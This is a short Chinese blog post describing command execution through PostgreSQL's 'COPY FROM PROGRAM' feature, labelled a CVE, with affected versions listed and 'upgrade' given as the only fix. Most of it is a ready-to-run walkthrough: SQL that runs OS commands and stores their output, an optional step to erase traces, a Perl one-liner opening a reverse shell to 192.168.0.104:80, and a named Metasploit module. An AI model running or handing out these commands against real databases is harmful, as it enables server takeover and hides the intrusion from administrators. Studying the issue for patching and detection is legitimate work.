PostgreSQL高权限命令执行漏洞(CVE-2019-919

2020-03-18  本文已影响0人  低调求发展

漏洞概述:

    PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。由于这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过认证正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要再一次说明的是,上述两种情形下都需要用户是一个超级用户或者是“pg_read_server_files”组用户。

影响版本:

    9.3-11.2

漏洞复现:

首先需要链接数据库,然后执行下列命令。

1.[可选]删除你想用来保存命令输出但是可能存在的表

DROP TABLE IF EXISTS cmd_exec;

2.创建你用来保存命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

3.通过 “COPY FROM PROGRAM”执行系统命令

COPY cmd_execFROM PROGRAM 'id';

4.[可选]查看执行结果

SELECT * FROM cmd_exec;

5.[可选]清除痕迹

DROP TABLE IF EXISTS cmd_exec;

1 2

这里需要注意的是如果需要输出类似echo 'hello'命令需要用双引号转义。

在Linux及Mac OSX操作系统中通常可以通过一行简单的perl命令来反弹shell,比如:

COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"192.168.0.104:80\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';

msf有模块可以反弹shell,利用multi/postgres/postgres_copy_from_program_cmd_exec模块。

漏洞修复:

升级版本

上一篇下一篇

猜你喜欢

热点阅读